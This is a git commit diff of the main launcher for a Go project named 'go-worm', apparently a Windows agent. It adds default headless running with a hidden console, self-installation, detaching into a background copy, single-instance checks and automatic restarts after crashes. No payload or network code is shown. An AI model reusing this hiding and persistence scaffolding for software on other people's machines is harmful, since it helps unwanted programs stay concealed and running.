refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
+56 -12
View File
@@ -4,58 +4,102 @@
//
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
//
// A CMD window appears on launch. Use -background to start without a window:
//
// win64_mp.exe -background
// Runs headless by default. Use -foreground for a visible console (dev only).
// Use -background to spawn a detached copy and exit the launcher.
package main
import (
"errors"
"flag"
"fmt"
"strings"
"time"
"tea.chunkbyte.com/kato/go-worm/lib/agent"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
"tea.chunkbyte.com/kato/go-worm/lib/install"
"tea.chunkbyte.com/kato/go-worm/lib/instance"
)
func main() {
defer crashlog.Recover()
var errAlreadyRunning = errors.New("agent already running")
background := flag.Bool("background", false, "run without a console window")
func main() {
background := flag.Bool("background", false, "spawn detached agent and exit")
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
flag.Parse()
if err := install.Ensure(); err != nil {
die(err)
die(err, *foreground)
}
if *ensure {
if !*foreground {
instance.HideConsole()
_ = helpers.AttachLogFile()
}
if err := instance.EnsureRunning(); err != nil {
die(err)
die(err, *foreground)
}
return
}
if *background {
if err := instance.Detach(); err != nil {
die(err)
die(err, *foreground)
}
return
}
if !*foreground {
instance.HideConsole()
_ = helpers.AttachLogFile()
}
for {
err := runAgent()
if err == nil {
return
}
if errors.Is(err, errAlreadyRunning) {
return
}
crashlog.RecordError(err)
helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
time.Sleep(config.RestartDelay)
}
}
func runAgent() (err error) {
defer func() {
if r := recover(); r != nil {
crashlog.RecordPanic(r)
err = fmt.Errorf("panic: %v", r)
}
}()
a, err := agent.New()
if err != nil {
die(err)
if strings.Contains(err.Error(), "already running") {
return errAlreadyRunning
}
return err
}
defer a.Close()
if err := a.Serve(); err != nil {
die(err)
return err
}
return nil
}
func die(err error) {
func die(err error, foreground bool) {
if !foreground {
instance.HideConsole()
_ = helpers.AttachLogFile()
}
crashlog.RecordError(err)
helpers.Log.Fatal(err)
}